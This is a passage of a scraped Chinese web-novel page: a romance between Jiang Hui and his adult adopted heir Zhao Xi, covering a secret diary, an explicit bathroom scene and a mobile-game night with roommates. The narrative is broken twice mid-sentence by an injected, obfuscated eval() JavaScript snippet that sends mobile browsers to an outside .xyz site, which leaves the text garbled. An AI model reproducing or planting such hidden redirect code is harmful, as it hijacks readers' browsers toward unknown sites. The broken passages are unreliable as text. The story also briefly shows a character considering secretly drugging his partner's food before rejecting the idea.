他抱着姜洄,在怀里人日渐平稳的呼吸声里低头轻轻落下一吻。 此时的赵熙不会想到,他所期待的未来,也不过只有短短一年那么久。 距离他们分开,还有473天。 …… 虽然不再刻意去探寻姜洄过去发生了什么,赵熙还是有些担心他的精神状况。 即将开学,他仍旧抽空从列表这些年瞒着小叔叔悄悄积攒的人脉里,联系了一位精神科名医。 确定没有遗漏,他将姜洄的情况整合发了过去,但没说病人是谁,只说替朋友问问。 那位老医生回复他:初步判断有可能是创伤后应激障碍。学名上叫做ptsd。 ptsd? 赵熙大脑宕机了一瞬间。 这个词他听过,但他一直都没有把它和小叔叔联系起来。 老医生问:你的朋友有过什么比较痛苦的经历吗?或许这是病因。 这就涉及到赵熙的盲区了,他不知道。 犹豫片刻,他道:不太清楚,一定是ptsd吗? 老医生:具体情况需要到医院进一步检查才知道,不过你这位朋友明显还伴随一些抑郁症状,他是不是很少对什么东西提起兴趣?行为懒散、回避社交、性功能障碍,还有睡眠障碍。 都对上了。 至于性功能障碍…… 赵熙的目光游移到这个词上,迟疑地想起,之前小叔叔帮他……但不管接吻多久,小叔叔自己好像一次都没起来过。 他攥紧了手机,嘴唇抿得死紧。 不知道小叔叔愿不愿意去医院检查,但他还是先问了:那请问一下,要是不去检查,可以凭借这些症状开一些药缓解吗?还有,如果不吃药的话,这个病能不能好? 老医生道:没有确诊的话还是不要乱吃药,但是不吃药也是能缓解的,心病还要心药医,多陪陪他、鼓励他,和他说话尽量温柔迁就,陪他解开心结,这样也可以缓解。 赵熙收了手机,抬头看着天花板发呆。 这可怎么提呢? 小叔叔肯定能察觉到自己是出了问题的,但他从没有因此去过医院,侧面也证明了,赵熙提了他也不会去。 但是赵熙很担心他。 他甚至在想买点治病的药偷摸掺在吃的东西里喂给小叔叔能不能行,老医生说没有确诊不能乱吃才打消了他的决定。 赵熙能预料到自己提起时小叔叔的反应,但他还是不死心,抓了把头发,斟酌着编辑短信,发了条消息给这个点还在隔壁书房处理工作的姜洄。 【zhao:小叔叔,你经常做噩梦这件事……有没有去医院看过啊?】 姜洄隔了一会儿,回他:你的意思是觉得我有病吗?[黄豆微笑] 【zhao:我没这么想!】 赵熙捧着手机,有些不安。 又过了一会儿。 【回:逗你的,慌什么。】 【回:看过两次,医生说因为我睡觉姿势不对。问题不大。】 赵熙茫然:睡觉姿势? 【回:嗯,别瞎操心,你不知道吗?睡觉的时候双手放在胸前很容易做噩梦的。】 【回:我有时候没注意睡觉姿势就会这样,不是什么大事。】 这几句发完,他就没再回复了。 赵熙攥着手机,看着这两条明显是敷衍人的消息,许久,深深叹了口气。 小叔叔还当他是小孩子呢。 …… 临近九月,学生们要面临开学,赵熙也要开始准备收拾去大学的东西了。 虽然这里距离江大也不过大半个城市的距离,但一想到要和小叔叔分开,到时候学校闭关军训半个月都见不到人,赵熙还是有些不太高兴。 开学前夕,晚饭之前,赵熙亲自送走了这两个月一直上门教导他的私教老师。 本该是姜洄送的,但既然赵家迟早是赵熙做主,姜洄也有意让他自己学习学习怎么待人接物。 不过赵熙应该比他做得好得多。 姜洄站在二楼窗口,看见他和私教老师站在别墅门口的车前聊天。 私教老师拍拍他的肩,说了句什么。 姜洄曾经为了拍一部戏,短暂地学过一段时间的唇语,因此他辨认了两秒,便知道了私教老师说的是什么了。 “你很有潜力,有这样的家世和天赋,前途不可限量……好好努力啊。” 姜洄垂眼片刻,转身从窗前离开了。 陈阿姨前来敲门,喊他吃饭。 他应了,路过赵熙的房间门口,看见房门掩着,忽然又顿了一下。 陈阿姨从不会进他们的房间,赵熙信任他,几乎什么都和他说,家里没有其他人时,他从不会锁门,哪怕掩着也没有过。 他停下了脚步,倏地从记忆里翻出几个片段来。 他想起前几次偶然在进门时,曾看见过赵熙躲躲藏藏放着什么东西。 赵熙有事瞒着他。 在他成为赵熙之后,有了和姜洄不一样、且不能告诉姜洄的秘密。 想到这点,姜洄鬼使神差伸手,推了下房门。 一下又后悔了。 这是在干什么? 姜洄从不否认自己骨子里的卑劣性,可该有的底线他也不屑于去碰。 窥探他人隐私什么的——他明明从不干这样的事。 可是目光还是在房门被推开的那一瞬,落在书桌上,顿住了。 桌上放着一个本子,那本子的封面有些陈旧,画着两只皮卡丘的图案,款式大约好几年前的学校小摊才会卖的那种,但看着保存得很好。 姜洄为什么看得这么清,因为封面被大开着的窗户外的风吹得支起来了。 封皮出现的那一刻,他记忆里有什么模模糊糊的画面闪了过去。 有点眼熟。 他回头看了一眼,别墅的大门关着,没有动静,赵熙还没回来。 犹豫间,他抬步踏了进去。 就看一眼。 赵熙就是他自己,又不算别人。 顶多他不看上面有写什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033619|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看一眼这本子他是不是见过。 脑子里有什么东西在催促他去看一眼,也许这是唯一的机会,马上赵熙就要去上大学了,或许今后他也不会有这样的机会了…… 不知不觉,就停在了桌前。 他伸手去按本子的封面,想要盖上,眼神却已经扫过敞开的那片内容,大脑比眼睛更快一步反应过来那里写着什么—— 2029.6.8,天气晴。 真的和小叔叔在一起了。 很开心。^v^ ……日记? 姜洄愣了一下。 他没有写日记的习惯。 赵熙……是从什么时候起开始记日记的? 姜洄心理建设做了两秒,飞快把本子翻到了第一页。 没关系,看看日期,就看看日期。 这篇日记本的第一页,赫然写着几行字。 —— 2020年,江城的11月,下了一场朦胧纷扬的皑皑大雪。 语文老师说,多记录生活,就会爱上生活……她对我很好,肯定不会骗我的,那我就记一记吧。 —— 姜洄明白了,他有一点记忆,在最开始的那所学校里,是有这么一位对他还不错的语文老师。 她也确实鼓励学生多写日记,但是,姜洄的日记本,在十五岁搬走的时候就弄丢了,后来再也没记过。 因为他发现,记日记其实也不能让自己的生活变好。 甚至让他在重新看到那些文字的时候,还又不得已重新回忆了一遍那些苦痛。 可是赵熙的生活不一样了,他的日记明显也会和姜洄的不一样。 所以一本日记,他记了九年。 姜洄的目光不自觉地往下扫。 2020.11.20,大雪。 我遇见了一个很好很好的哥哥。 他把衣服送给我了,给了我药,还打了那个人一顿。 他人真好。 长得也很好看,比我见过的所有人都好看。 2020.12.2,小雪。 在学校上课,突然有人告诉我,那个人被抓了,我以后没有家了。 没关系,我也没把那个地方当家。 但是,他怎么会突然被抓了呢? 我想起那个哥哥,会是他吗? 他们说我在这所学校没有正经档案记录,退学也只是收拾一下东西,我把书用那个小书包装起来,跟着他们离开了学校。 我以后不在这里念书了吗?那我要去哪里呢? 2020.12.4,阴。 来福利院的第三天。 好想记录一点什么,但不知道怎么记。 我可以每天洗干净的热水澡,可以有干净的衣服穿,很谢谢这里的老师和院长阿姨。 他们这里的小朋友都没有爸爸妈妈,可是我不知道怎么和他们交朋友。 马上要到我的生日了,我记得那个日子。 不过,应该和以前也没有什么区别,毕竟我已经没有家人了。 又想起了那个哥哥,不知道以后还会不会遇到他。 我长大以后有机会再找到他吗?他的衣服我洗干净了,还有很谢谢他的药。 背上的伤口已经有点痒,但是没关系,可以忍,不能浪费哥哥的药,要好起来。 2020.12.6,晴。 我又见到那个哥哥了。 不……不是哥哥,现在应该要叫小叔叔。 像梦一样,该怎么说呢。 他领养了我,他说他需要一个继承人,我是他选中的那个。 说领养好像不太对,但总之,我又有家人了。 我把衣服还给他,但是他没要。 他给我取了新名字,带我回了他的家,很大很亮的房子。 他还给了我从没吃过的糖,陪我一起过生日、吃了蛋糕。 他叫我西西,真好听,比黑崽好听。 小叔叔真的很好很好。 谢谢小叔叔。 35. 心疼 2020.12.11,晴。 拖小叔叔的福,又能上学了,还有了新书包和手表,真好,不怕迟到了。 …… 2020.12.22,晴。 小叔叔说,以后有什么事要和他讲,不能瞒着他。 小叔叔给我撑腰了。 我也有家人可以撑腰了。 …… 2020.12.30,阴。 小叔叔…… 2021.1.23,小雨。 小叔叔…… 后头零零散散,全是赵熙这些年的日记,记录着他来到赵家之后的所有心路历程和心情。 但不出所料,全都充斥着“小叔叔”这个词。 姜洄心头复杂难言,几页几页地看,一路粗略翻到后面。 2028.8.9,晴。 做了个……难以言喻的梦。 要是小叔叔知道了,会打死我吧。 2028.8.10,晴。 好像喜欢上小叔叔了。 不想说真糟糕,因为这不算什么糟糕的事情。喜欢上小叔叔很正常,他是这个世上对我最好的人。 喜欢小叔叔。^v^ 2028.10.20,小雨。 马上要到小叔叔生日了,犹豫要送什么,听余书他们说,给喜欢的人要送充满新意的礼物…… 韩子晨让我编个毛巾,好像能行。距离小叔叔生日还有十八天,来得及。 希望小叔叔真的喜欢吧。 …… 2028.12.6,晴。 今天是我的成年礼,发生了好多事情。 我前脚刚和小叔叔说,他是我唯一的家人了,后脚就没忍住和小叔叔表白了。 应该不算正经表白,但是小叔叔从小就很懂我,他怎么可能听不出来。 不过小叔叔竟然没动手打我,挺意外的,他真心软。 可惜不能睡在一起了,希望小叔叔能睡个好觉,不要失眠。 2028.1.3,阴转小雪。 最近小叔叔黑眼圈很重,送了他一瓶和我身上味道差不多的香水。 小叔叔说,等我高考后再考虑和我的关系。 虽然还没搬回去,但是…… 还好小叔叔没有因为这个讨厌我。 没关系,我还年轻,我可以等,等再久也没什么。 …… 姜洄心里有种难以言喻的阻塞感,看着日记里赵熙提起的和自己相关的每一句话,心跳都在都控制不住地悸动。 情绪鼓鼓囊囊闷在胸前,像泡了陈年酒水,湿重又酸涩。 他的文字那样熟悉,因为来到赵家后专门学过书法,笔锋要比姜洄自学的更凌厉工整,却这样认真地一笔一笔记录着少年心事。 从十岁到十九岁。 日记本很厚,但也快写到了底。 有些篇章他没有看太仔细,毕竟时间也不允许他一篇篇地看。 视线再往后跳去,最后一篇—— 2029.8.20,晴。 很担心小叔叔,这些年他总是失眠,睡着了也老做噩梦,一做噩梦就发抖、胃也疼,还总是听不到我说话,像被魇住了一样。 他脸色苍白吓人,浑身都冒冷汗,我抱着他不知道怎么办好,只能给他一遍遍揉肚子按穴位,希望他的胃疼能因此缓解一些。 我心疼他,但我不能多问,因为小叔叔有事不想让我知道,我看得出来。 我问了医生,说有可能是ptsd,还有……抑郁症。 听上去有点不可思议,可是每一点似乎都和小叔叔对上了。 我又问小叔叔有没有去检查过,不敢问太仔细,怕他生气,但他又糊弄我。 小叔叔,你总学不会坦诚。 你什么时候能明白,其实爱人之间,坦诚最重要。 我该怎么拿你怎么办好。 …… 姜洄看着这一页,良久没有动弹。 心疼? 他看着这个字眼,只觉得陌生。 那种细密的酸涩又涌上来了,哽在他喉间,叫他什么声也发不出来。 赵熙什么时候出现在他身后的,他也不知道,直到身后一只手探过来,修长的手指擦过他的指尖,盖上了日记的封面。 姜洄看着封面上眼熟的皮卡丘,晃了下神。 “小叔叔。”赵熙无奈,道,“怎么还偷看我日记啊?” 姜洄转头看他,赵熙扶着椅背,微微低头和他对视,话虽如此,眼眸里却是盈盈笑意,没什么懊恼或羞耻的意味,看样子似乎也不是很介意他的举动。 姜洄喉结滚动了一下,将那堵住喉咙的梗塞感觉咽了下去。 他故作淡然看着赵熙把日记本从手里抽回去:“你门没关紧,日记本敞着,我进来看一眼怎么了?” 他说着,说话也硬气起来,淡定道:“我房间里什么东西你没看过?” 赵熙挑眉:“……没怎么,小叔叔爱看就看。” 他摇了摇手里的本子,“还看吗?要不要我念给你听?” “……”姜洄也心虚,移开视线,“你回来这么慢,再晚一点饭都凉了,下楼吃饭吧。” 赵熙看着他起身便往楼下走,始终若无其事的模样,舌尖抵了抵腮帮子。 好吧,小叔叔好像不好意思了。 吃过饭后,看小叔叔去洗澡,赵熙回房间又收拾了下东西,确认没落下什么,把那日记本也带上了。 毕竟明天报名后,接下来半个月都兴许没多少时间接触了,他有心想和小叔叔今晚多亲近亲近,也没在自己房间里多呆。 等他进了主卧的门,没一会儿,听见浴室里水声停了。 赵熙看着书的脑袋忍不住抬起来,盯着门口,想起小叔叔每次围着浴巾出来的样子。 明明也看了这么多回了,但一点也看不够。 “砰”一声巨响,打断了他的的浮想联翩。 赵熙霍然起身:“小叔叔?” 他拔腿冲到门口,手都握上门把手了,想起可能会看到什么又顿住了:“小叔叔,怎么了?没事吧?” 姜洄低低“嘶”了一声:“没什么,地滑,摔了一跤。” 赵熙进退两难:“严不严重?要不要我进去看看?” 隔了两秒,姜洄哑声道:“有点起不来了,你进来吧。” 赵熙就等着他这句话,哐当一下拧开了门把手。 ……门竟然没锁。 他没能多想,因为眼前姜洄跌坐在光滑的地板上,浑身赤裸着,一只脚踝处还有明显的红痕,隐隐发青。 他匆忙略过对方的身体,视线在姜洄脚踝上定住,上前蹲下来去扶人:“脚扭了?” 姜洄胳膊搭在他肩上,赵熙把人抱起来,想出去,被姜洄拽了下衣领:“……没穿衣服。” 外面窗帘可没拉上。 哪怕那是单向玻璃,姜洄也有羞耻心。 赵熙只好扫视一圈,将他放在了洗漱台上。 冰凉的台面和肌肤相触的那一刻,姜洄瑟缩了下身体,下意识往他身上贴了一下。 赵熙却只顿了下,随即低下头,抓着他的脚裸道:“家里有跌打损伤药,我记得放在一楼客厅,我去拿……” 姜洄又拽了下他的手腕。 “不严重,不用了。” 赵熙拧眉道:“都青了!” 那抹青在他白皙细腻的皮肤上那样 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赵熙观察着他的表情,小叔叔向来不太能忍痛,要是真疼的话,为了缓解肯定也会让他去拿药的。 说不痛那应该是真的不痛。 赵熙也哼:“小叔叔学坏了,会骗人了。” “我不是说过吗,我可从来不是什么好人。”姜洄的手指顺着他的手臂,划过他脖颈,落在他脸颊上。 “这算什么考验吗?” “也许算。” “什么叫也许?我有没有通过考验?” “你说呢?” 赵熙挑眉,浴室里水汽朦胧,他后知后觉感受到了怀里的小叔叔是光着身子的,脸有点红,视线没敢往下撇:“有奖励吗?” “我敢说,怕你不敢要。”姜洄摩挲着他的下颌线,拇指抚过他的唇瓣,轻笑。 赵熙舔了下唇,舌尖扫过他的指腹,有些口干舌燥:“我有什么不敢要的?” “我没洗完澡呢。”察觉到他的变化,姜洄又低低笑了一声,环住他的脖颈,饶有兴致在他耳边道,“不如你帮我洗?” “作为奖励,嗯……”他用腿勾住赵熙精瘦的腰身,声音更低了一些。 “今天可以用月退帮你。” 赵熙的呼吸声又重了。 他偏过头,和姜洄吻在了一处。 唇齿交缠,他胸前的衬衫被姜洄紧贴着的身体打湿,隔着一层薄薄的布料,他们的心跳急促地吻合在了同一节拍。 姜洄边勾着人似地轻轻回吻,手也从他紧绷的腹肌上滑了下去,抓住了那炽热滚烫的热度。 “小侄子,别总接吻啊,”他刻意分开一些唇瓣的距离,手上恶趣味地摁了摁,感受到那东西不安稳地弹跳了两下,气息不稳地笑,“还没帮你小叔叔洗完澡呢。” 姜洄为他这句话付出了代价。 赵熙摁着他在洗漱台上、在墙边,前前后后把他洗了个干净,伺候得相当到位。 浴室的水开了又关,不知过了多久,姜洄已经精疲力尽,只能勉强被他抓着头发偏头和他接吻,他腿间几乎磨破了皮,赵熙还没消停。 “我也告诉小叔叔一个秘密,作为小叔叔坦诚的奖励。” 他低声说,“你猜为什么,我今天把门掩上了?” 姜洄清醒了几分,抬眼和他对视上。 他笑:“……小兔崽子。” 故意的。 赵熙黏黏糊糊亲他:“以后不要拿受伤骗我,我真的会担心。” 姜洄不说话,伸出红艳的舌尖舔他唇瓣,赵熙于是又被他勾回去,和他接了个绵长的吻。 36.游戏 一夜造作太久,姜洄沾床就睡。 第二天睡到下午才起床,赵熙已经拎着行李箱得去报道了。 “小叔叔要想我哦。”他亲了一口姜洄的脸颊。 姜洄打了个哈欠,道:“嗯嗯。” 他翻身磨到腿间的皮肤,疼得又“嘶”一声。 好在昨晚赵熙就帮他上过药了,虽然有点疼,但清清凉凉的还能忍。 赵熙絮絮叨叨道:“昨天……有点过分,抱歉小叔叔,记得后两天你也要给自己抹药,药就放在床头柜里,蓝色的那个盒子。” “等我一放假就回来找你,有什么事记得给我发消息,睡不着的话给我打电话……” 姜洄裹着被子吹着空调,懒散道:“知道了,啰嗦。” 赵熙便无奈住嘴,又低头亲了他一口。 “那我真走了。” 姜洄:“好的,亲亲怪。” 赵熙失笑,一步三回头拎着行李箱走了。 王叔去车库里开车,他站在门口等了一会儿,身后传来脚步声。 姜洄穿戴整齐,一身休闲装出现在他身后,面对他疑惑的视线,不自在地清了清嗓子:“……送送你。” 他想到这些年忙着工作,也没特意送过赵熙上学,虽然赵熙从不说什么,他也因此没放心上。 其实他心里很清楚,这份缺失的位置谁也替代不了。 从前他觉得没所谓,赵熙的人生已经够好了,他没那个必要处处顺着他,所以一直刻意忽略对方眼神里的期待。 但这回不知为何,他有些不想继续这样了。 就送一回又能怎样呢? 他和赵熙,年少时都是一人独自前往学校报名上学,从没有过亲人陪伴身侧的感受。 他如今能靠自己给他的,为什么不愿给呢? 就送一回,也算是圆了他自己的念想。 赵熙哑然片刻,眼神瞟过他没来得及整理整齐的领口和发顶微微上翘的头发:“……好。” 王叔开着车出来前,他几步走过去,扯了下姜洄的领子往上提了提,又将他头发抚整齐了才退开。 他动作太自然,以至于姜洄回过神,恍惚间,竟然有几分“老夫老夫”出门的既视感。 …… 赵熙到学校报完名还要收拾东西以及领军训的衣服,第二天还没开始军训,他本想回来,姜洄一听他语气就知道他想干什么,让他别折腾,一来一回不累吗? 赵熙便只好作罢。 第三天开始,学校军训,这下是真的出不来了。 赵熙白天几乎没有时间给他发消息,姜洄总算得了一些清闲,忙完工作也有空自己躺着歇会儿了。 只是没有消息轰炸了,心中竟还舔了几分空落落,总觉得少了些什么。 到晚上八点多,赵熙才能得空给他打个电话。 他在姜洄面前的时候总是话很多,絮絮叨叨说分享很多乱七八糟的日常,例如军训很晒,班里第一天就有人热晕了,例如他高考成绩太高,是班里成绩最好的那个,学校领导第一天就把他拎过去做新生演讲,让他不得已成了学校名人。 姜洄只是听着,偶尔应几句,唇角不自觉勾起来。 慢慢听睡着了,赵熙压低了音量喊一声他,得不到回应,便笑笑,说句“晚安”,然后电话挂一整晚,第二天姜洄醒了,手机就已经没电关机,自动挂断了。 一开始他还问过怎么不把电话挂了,赵熙说:“小叔叔睡不着,我也睡不着。听着你的声音会安心很多。” 姜洄:“我打呼噜?” 赵熙:“没有啊。” “那你能听到我什么声?” 赵熙笑:“呼吸声也是声音啊。” 姜洄觉得好笑,但也没说什么。 “你天天在宿舍打电话,你室友不问什么吗?” 赵熙便看看一旁宿舍里其他三位竖起耳朵听八卦的室友:“说什么?我和男朋友打电话天经地义,又不是休息时间。” “他们还夸我们感情好呢。” 赵熙确实瞒身份瞒得挺好,每次喊他小叔叔,都是小声喊的,几个室友听不清,都以为喊的是什么爱称。 姜洄问:“和室友关系还行吗?” “挺好的。”赵熙性格偏外向,一向在哪里都混得很开。 “大学是什么样的?” 赵熙愣了一下,想起小叔叔没上过大学,高中毕业就接管了公司……虽然是他自己不肯上的,但原来,他也憧憬过这些吗? 他想了想:“和高中也差不多,地方更大些,像个小城市,绿化做的挺好的,天天还有学生开车上下课。” “你又没开始上课,你怎么知道?” “学长学姐们上嘛,我看到的啊。” 说着些可有可无的废话,姜洄又慢慢睡过去。 赵熙那句“我以后带你来看看”,他迷迷糊糊应了一声,其实根本没听清。 某天几个室友喊赵熙一块打游戏,说是正好缺两个人。 寝室里和赵熙最合得来的周齐闵是个跳脱性子,篡夺他带对象一起来。 其实这个点,按姜洄以往的习惯来说,他该睡了,赵熙本想拒绝,话到嘴边又顿了顿,问姜洄:“来吗?” 姜洄困意散了几分:“什么游戏?” 赵熙道:“最近很火的一款moba手游,我和他们打过几次。” 姜洄上次玩游戏,已经记不清多久之前了,他对这个东西并不太热衷,也没关注过时下的年轻人喜欢玩什么。 但他出奇地没拒绝:“可以试试,你们不介意我不会玩的话。” 赵熙有些稀奇,这毕竟是姜洄第一次没有回避他的社交圈,于是扭头道:“他不太会玩,你们不介意吧?” 周齐闵道:“那肯定不能!玩游戏嘛就是玩个开心,我们几个也没多厉害。” 另外两个室友也连连说是,满眼都是对于能拿下赵熙的“对象”到底是什么高人的求知欲,以及想现场吃瓜的渴望。 赵熙教他现场下了游戏注册了账号,姜洄简单过了新手教程,道:“还好,玩过类似的,应该不至于操作太丑陋。” 赵熙问他:“你名字注册了什么?” 姜洄:“将洄。” 赵熙“嗯?”一声,尾音上挑:“什么江什么回?” 姜洄微妙地安静了一秒:“将要的将,溯洄的洄。” 他实在没什么取名天赋,干脆取了个本名的谐音。 赵熙有些疑惑:“为什么叫这个?” 姜洄敷衍道:“随机的名字,没什么意思。” 赵熙“哦”了一声,和他加了好友。 五人都进了房间,两人便挂了电话,开了游戏麦。 到选角□□面,赵熙问:“你想玩什么?” 他偷偷发消息问姜洄:小叔叔,我怎么叫你? 他室友都不认识姜洄,但知道他是赵熙的对象,赵熙总不能在人前也小叔叔小叔叔地喊他。 姜洄想了想,也觉得是个难题:游戏名就行。 他回完消息才开口回复:“我都行,看你们,我可以补位。是这么说吧?” 三个室友瞬间呆住,周齐闵下意识道:“男,男的啊?” 赵熙:“对啊。” 男的怎么了,还是他小叔叔呢。 他表情这样理所应当,何况同性婚姻如今也已经合法,几个室友愣了两秒后也就都坦然接受了。 姜洄有点不太自在地和他们打招呼:“你们好,我是他……男朋友。” 周齐闵接话:“你好你好,怎么称呼啊?能叫嫂子吗?” 赵熙和姜洄同时一愣。 姜洄猛地咳嗽两声:“也,也行。” 反正只是他们喊着听听,又不是喊两句就少块肉,他倒也不介意这些。 赵熙悄无声息勾起嘴角,没有插嘴。 姜洄挑剩下的,补到了辅助的位置。 他说不会玩是真的不会玩,意识是一点也没有,操作还有一些,但依然手生。 他跟着射手走下路,不到三分钟,下路一塔直接被打爆了。 玩射手的室友死了三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035273|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次还在笑:“嫂子你那是什么大招,扔对面塔底下去了……” 姜洄很不好意思:“对不起对不起,我不太了解技能是什么……等我熟悉一下。” 然后第二次扔大招,又扔到了对面射手脚下。 射手室友被对面一箭馕死,看见他的技能没憋住:“哈哈哈哈哈哈哈!” 姜洄茫然了一下,反应过来:“对不起对不起……” 他咳了一声:“我觉得我已经熟练很多了,再来一次一定可以。” 与此同时,对面的射手发出嘲讽,大意是他们的辅助和射手菜得离谱。 小萌是我的[敌方射手]:对面兄弟,你俩最多白银吧?菜就多练。 小萌[敌方辅助]:哥哥好厉害!4-0了欸! 姜洄扫了一眼,才发现对面的射手辅助是情侣名。 他没理会,倒是几个室友气不过纷纷骂了回去。 “小洄跟我吧。”赵熙悄无声息冒出来一句。 姜洄操纵的人物在游戏画面上因为这个称呼卡顿了一下,像是短暂掉了下帧。 赵熙没有发现,他语气平静,条条分析:“射手死太多次了发育不起来,但我经济已经起来了,你跟我有优势。” 射手:“也行,嫂子你就跟赵哥一起吧,我苟苟能活。” 他头顶冒了个猫猫哭泣表情包:“带我走向胜利哦!” 姜洄忍不住轻笑:“赵哥?” 他朋友都这么喊他的? 赵熙咳了两声:“不是我逼他们喊的。” 他在学校样样出色,性格又好,一群室友抢着跟他称兄道弟,自愿当那个“弟”。 赵熙原本不觉得有什么,被小叔叔这样一喊,却多了几分别扭的感觉。 姜洄道:“那个表情包怎么发?” 赵熙教他:“有些是活动领取,有些是免费就有的,你点消息发送表情。” 姜洄依言划了两下屏幕,人物头顶便冒出来一个猫猫捧脸的表情包,一行字也紧随其后,还伴随着语音:“讨厌,人家羞羞啦~” 姜洄:“……” 赵熙低笑一声:“我来了。” 姜洄哦了一句,跟在他屁股后头奶血量。 说来也怪,姜洄和那个射手室友怎么都配合不好,一个接一个被杀好几次。 但跟着赵熙,不知道是赵熙技术太好还是姜洄熟练度上来了,连着蹲了三次下路,拿下两次三杀,两人的配合都天衣无缝无懈可击,堪称完美。 射手室友看得目瞪口呆:“嫂子,你是刚刚藏拙了还是现在换人了?” 姜洄:“……可能我和他比较默契吧。” “这么默契吗……” 几个室友对视一眼,发出了“哦哟”的起哄声。 姜洄转移话题:“蹲这么久了,这次他们是不是不来了?要不要去其他路抓一抓?” 赵熙道:“别急,会来的,还差一次。” 姜洄:“差一次什么?” 赵熙道:“他们杀了你四次。” 姜洄:“……” 他看了眼头顶的战绩,立刻明白了赵熙意思。 对方射手带辅助杀了他四次,而赵熙带着他杀回去了三次—— 所以,还差一次,就平了? 姜洄哑然半晌,失笑。 在对面果不其然按捺不住出现、又被两人再次窜出来三杀杀回泉水时—— 姜洄想了想,也打了一行字: 哥哥好厉害!带我三杀了欸! 赵熙猛地咳嗽两声,手机差点从手上摔下去。 室友一片善意的起哄声里,赵熙红着耳朵稳住心神:“……怎么打字?” 姜洄:“为了让对面也看得到啊。” 他又抽空用后台给赵熙发消息:怎么,你想听我这样直接喊你? 赵熙咽了咽口水,想说没有。 还没打出去,那边姜洄又发了一条过来。 【小叔叔[爱心]:不是不行,不过……】 【小叔叔[爱心]:等你回家了再喊。】 37.烟疤 这边两人安静许久,几个室友催促:“哟哟哟,你俩在私聊吗?怎么突然都不说话了?” 赵熙哼道:“那怎么了?” 姜洄把屏幕切回来,笑着打马虎眼:“是突然想起来问他,平时在学校有没有和你们说过我的坏话。” “那肯定没有。”周齐闵一口否认,笑眯眯道,“赵哥可宝贝嫂子你了,问什么也不说,就说是对象,每天一到点就和你煲电话粥,雷打不动。” 姜洄:“这样啊。” 周齐闵说得起劲:“前两天晚上各个班级组织唱山歌,赵哥被我们推上去唱了两首,当场就有男孩女孩来加他联系方式,赵哥说有对象就全都拒绝了,可一个没加过。” “洁身自好好男人,你值得拥有!” 姜洄笑:“是吗。” 他倒也不意外,毕竟是亲手养大的孩子,又是自己,最了解不过,哪怕现在变了很多,赵熙也不可能背着他乱搞。 周齐闵说得上头,忍不住又问:“话说嫂子,你们什么时候认识的?是一个高中吗?” 姜洄唇边不自觉的几分笑便顿住了。 赵熙这时候才插进来岔过话题,道:“打听那么多干什么。上路被围了,来支援。” 打完一小时,赵熙怕他因为游戏上瘾失眠,强制结束了这次的游戏。 姜洄和他们告完别,退了游戏,转头躺在床上,闭眼后上十分钟,也没有酝酿出一丝睡意。 他忍不住盘算起距离半个月的军训还剩多少天结束。 三天。 半个月实在有些难熬。 他叹了口气,翻了个身,嗅着被子上已经很浅淡的属于赵熙的那股清茶香,想到楼下的白茶花该换了。 赵熙说,既然真花留不住颜色的话,那就多换几次,让它每次呈现在眼前都是漂亮明艳的。 前几次都是他帮忙换了,但现在他在学校,就只能姜洄明天自己动手了。 姜洄埋头在被子里深深吸了一口,五脏六腑好像都因为这一口气得了些许生机。 其实今晚肯陪着这群大学生打游戏,是因为他真的有点想自己的小男朋友了。 想他的味道,想他的吻,他面对自己的笑颜和温柔。 或许在这场恋爱里昏了头的不止赵熙。 还有他。 明明只是抱着戏弄的、试试的心态谈这样一场恋爱,不知不觉却将自己也陷了进去。 反应过来时,爱欲泥潭早已没过腰身,连他自己也分不清,面对赵熙时心头涌出的那份情不自禁的喜悦之中,究竟几分情真几分情假了。 …… 赵熙军训结束第二天休息,结束当天晚上就洗过澡换了衣服,立刻赶回了别墅。 军训半个月,他肤色变黑了一些,成了健康的小麦色,五官也更多了几分硬朗,姜洄下班回别墅被他上来这么一抱,感觉他胸前的胸大肌都变明显了。 有点嫉妒,毕竟他常年缺乏锻炼,没小肚子就不错了。 赵熙捧着他的脸和他抵着额头,黏糊糊地贴着脸颊,问:“这么久不见,小叔叔有没有想我啊?” 本以为姜洄会说没有,却不想沉默两秒后,他“嗯”了一声。 赵熙一句“可我想你了”顿在嘴边:“你刚刚是不是嗯了?” 姜洄笑道:“军训一趟,耳朵不灵光了?” 赵熙眼睛都亮了:“真的?真的有想我?” 姜洄:“我对你说过谎吗?” 那倒没有。 虽然小叔叔有些事情会瞒着他,但只要说出口的事却都没有跟他说过谎。 看他呼吸声变了,姜洄抬手熟练地一挡——“你不饿吗?” 赵熙下意识伸舌头舔了舔他捂住自己嘴巴的掌心,闷声:“不饿。” 想亲亲。 姜洄手指一僵,在他如狼似虎的眼神里收回手:“可是我饿了。” 他理了理被弄乱的领口,从赵熙怀里挣开,一转身,又是平日里那副清冷禁欲的模样:“先吃饭。” 赵熙只好委屈巴巴收了继续亲热的念头,独自在沙发上坐着冷静了会儿,才回到餐桌边。 饭才吃完,姜洄漱过口,回房间时看他跟在自己身后亦步亦趋的,停步斜眼睨过去:“我要洗澡。” 赵熙无辜眨眼,面带失落:“不可以先亲亲吗?” 姜洄本想说不可以,看着他眼巴巴的表情,又心软了。 “我工作一天,身上有汗。” “我又不嫌弃小叔叔。” 稍作思索,姜洄道:“好吧,也不是不行,但……” 话音未落,赵熙仿佛就等着这一刻般扑上来抱了他个满怀,低头来亲他时还顿了一下:“但什么?” 